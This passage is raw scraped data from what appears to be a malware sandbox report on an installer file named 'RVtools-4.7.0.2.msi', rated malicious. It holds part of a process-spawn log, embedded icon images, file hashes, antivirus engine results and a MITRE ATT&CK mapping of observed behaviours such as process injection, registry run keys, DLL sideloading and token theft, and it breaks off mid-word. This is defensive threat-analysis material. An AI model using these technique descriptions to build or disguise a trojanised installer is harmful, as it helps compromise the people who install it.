@"%TEMP%\\5aat0yyl\\5aat0yyl.cmdline"" (UID: 00000000-00002832) Spawned process "cvtres.exe" with commandline "/NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\\RES9F0C.tmp" "%TEMP%\\5aat0yyl\\CSC68D828FB491C492C87C22A60FEF2041.TMP"" (UID: 00000000-00004036) Spawned process "whoami.exe" (UID: 00000000-00005040)69:T9a4,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6a:T9a4,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1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"ee0f0f2f089ee0594da5750bb4e342c34d703ea045ed80c3b73c81d2f3de8bd4","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1791319142092,"unified_at":"2026-10-06T20:39:02.092Z","metadata":{"hashes":{"sha256":"ee0f0f2f089ee0594da5750bb4e342c34d703ea045ed80c3b73c81d2f3de8bd4","sha1":"8eea56a36ddc52a8e2a58f14b7b419f0ff04b488","md5":"be44732e9470613588c5d3d77ce0750e","sha512":"671f457605a56856f752da91af76997743bf3ae0920e4b9d291a97eec14ca2b58d43edc56095fc8d87d6b1a43de4b277b06698617f09294b3f59a4bc26c3c6d0","ssdeep":"393216:IqSa8t/Rww3hN4u1pVDy+PcLHll9OXhVhc++YW1fImCutH/QZhEVAxlHJ:IqS1t6w3hKeFixWhjp+YqfImXHIvnDJ","ssdeep_chunks":["393216:IqSa8t/","393216:qSa8t/R","393216:Sa8t/Rw","393216:a8t/Rww","393216:8t/Rww3","393216:t/Rww3h","393216:/Rww3hN","393216:Rww3hN4","393216:ww3hN4u","393216:w3hN4u1","393216:3hN4u1p","393216:hN4u1pV","393216:N4u1pVD","393216:4u1pVDy","393216:u1pVDy+","393216:1pVDy+P","393216:pVDy+Pc","393216:VDy+PcL","393216:Dy+PcLH","393216:y+PcLHl","393216:+PcLHll","393216:PcLHll9","393216:cLHll9O","393216:LHll9OX","393216:Hll9OXh","393216:ll9OXhV","393216:l9OXhVh","393216:9OXhVhc","393216:OXhVhc+","393216:XhVhc++","393216:hVhc++Y","393216:Vhc++YW","393216:hc++YW1","393216:c++YW1f","393216:++YW1fI","393216:+YW1fIm","393216:YW1fImC","393216:W1fImCu","393216:1fImCut","393216:fImCutH","393216:ImCutH/","393216:mCutH/Q","393216:CutH/QZ","393216:utH/QZh","393216:tH/QZhE","393216:H/QZhEV","393216:/QZhEVA","393216:QZhEVAx","393216:ZhEVAxl","393216:hEVAxlH","393216:EVAxlHJ","786432:IqSa8t/","786432:qSa8t/R","786432:Sa8t/Rw","786432:a8t/Rww","786432:8t/Rww3","786432:t/Rww3h","786432:/Rww3hN","786432:Rww3hN4","786432:ww3hN4u","786432:w3hN4u1","786432:3hN4u1p","786432:hN4u1pV","786432:N4u1pVD","786432:4u1pVDy","786432:u1pVDy+","786432:1pVDy+P","786432:pVDy+Pc","786432:VDy+PcL","786432:Dy+PcLH","786432:y+PcLHl","786432:+PcLHll","786432:PcLHll9","786432:cLHll9O","786432:LHll9OX","786432:Hll9OXh","786432:ll9OXhV","786432:l9OXhVh","786432:9OXhVhc","786432:OXhVhc+","786432:XhVhc++","786432:hVhc++Y","786432:Vhc++YW","786432:hc++YW1","786432:c++YW1f","786432:++YW1fI","786432:+YW1fIm","786432:YW1fImC","786432:W1fImCu","786432:1fImCut","786432:fImCutH","786432:ImCutH/","786432:mCutH/Q","786432:CutH/QZ","786432:utH/QZh","786432:tH/QZhE","786432:H/QZhEV","786432:/QZhEVA","786432:QZhEVAx","786432:ZhEVAxl","786432:hEVAxlH","786432:EVAxlHJ","393216:IqS1t6w","393216:qS1t6w3","393216:S1t6w3h","393216:1t6w3hK","393216:t6w3hKe","393216:6w3hKeF","393216:w3hKeFi","393216:3hKeFix","393216:hKeFixW","393216:KeFixWh","393216:eFixWhj","393216:FixWhjp","393216:ixWhjp+","393216:xWhjp+Y","393216:Whjp+Yq","393216:hjp+Yqf","393216:jp+YqfI","393216:p+YqfIm","393216:+YqfImX","393216:YqfImXH","393216:qfImXHI","393216:fImXHIv","393216:ImXHIvn","393216:mXHIvnD","393216:XHIvnDJ"],"imphash":"Unknown"},"file_info":{"file_name":"RVtools-4.7.0.2.msi","file_type":["msi","data"],"file_type_id":"msi","file_size":19697664,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1768283804000,"last_seen":1768283804000,"last_multi_scan":1768283804000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":null},"stats":{"av":{"malicious_count":0,"suspicious_count":0,"total_engines":26},"attributions":{"malware_families_count":0,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":101},"sandbox_signatures":{"informative_count":229,"suspicious_count":17,"malicious_count":6,"total":252},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{},"mitre_attacks":[{"tactic":"Reconnaissance","technique":"Gather Victim Network Information","attack_id":"T1590","attack_id_wiki":"https://attack.mitre.org/techniques/T1590","identifiers":[{"type":"informative","value":"Able to access user sensitive domain"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Resource Development","technique":"Domains","attack_id":"T1583.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1583/001","identifiers":[{"type":"informative","value":"Short-term SSL certificate detected"},{"type":"informative","value":"Recently renewed or created SSL certificate"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Initial Access","technique":"Phishing","attack_id":"T1566","attack_id_wiki":"https://attack.mitre.org/techniques/T1566","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to execute an application (API string)"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"},{"type":"informative","value":"Able to retrieve command line parameters of the running process"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Contains ability to create/connect to a named pipe (API string)"},{"type":"informative","value":"Found named pipe like strings"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Execution","technique":"Service Execution","attack_id":"T1569.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/002","identifiers":[{"type":"informative","value":"Contains ability to open a service (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Fails to load modules at runtime"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Loads rich edit control libraries"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Loads the .NET runtime environment"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Persistence","technique":"Account Manipulation","attack_id":"T1098","attack_id_wiki":"https://attack.mitre.org/techniques/T1098","identifiers":[{"type":"informative","value":"Contains ability to modify the user configuration/privilege (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Able to create/load registry keys (API string)"},{"type":"informative","value":"Writes registry keys"},{"type":"informative","value":"Accesses System Certificates Settings"},{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Contains ability to modify registry key/value (API string)"},{"type":"informative","value":"Able to delete registry key/value (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Persistence","technique":"Socket Filters","attack_id":"T1205.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1205/002","identifiers":[{"type":"informative","value":"Able to monitor socket connection"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to modify system service (API string)"},{"type":"informative","value":"Able to unregister service from Service Control Manager"},{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Contains ability to create/modify Windows services (Powershell command string)"},{"type":"informative","value":"Contains ability to create a service (API string)"},{"type":"informative","value":"Contains ability to start a service (API string)"},{"type":"informative","value":"Creates or modifies windows services"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Persistence","technique":"Registry Run Keys / Startup Folder","attack_id":"T1547.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/001","identifiers":[{"type":"suspicious","value":"Modifies auto-execute functionality by setting/creating a value in the registry"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Persistence","technique":"DLL","attack_id":"T1574.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/001","identifiers":[{"type":"informative","value":"Possible DLL sideloading"},{"type":"informative","value":"Potential hijacking of DLL execution flow detected"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to impersonate another user on the local machine (API string)"},{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"},{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"malicious","value":"Script loads executable in memory (Antimalware Scan Interface)"},{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"malicious","value":"Creates a process in suspended mode (likely for process injection)"},{"type":"informative","value":"Able to inject code into another process (API string)"},{"type":"informative","value":"Found PE header in memory"},{"type":"malicious","value":"Writes data to a remote process"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Contains ability to modify access token privileges (API string)"},{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Privilege Escalation","technique":"Portable Executable Injection","attack_id":"T1055.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/002","identifiers":[{"type":"informative","value":"Attempts remote code execution into another process memory space"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Privilege Escalation","technique":"Asynchronous Procedure Call","attack_id":"T1055.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/004","identifiers":[{"type":"informative","value":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Defense 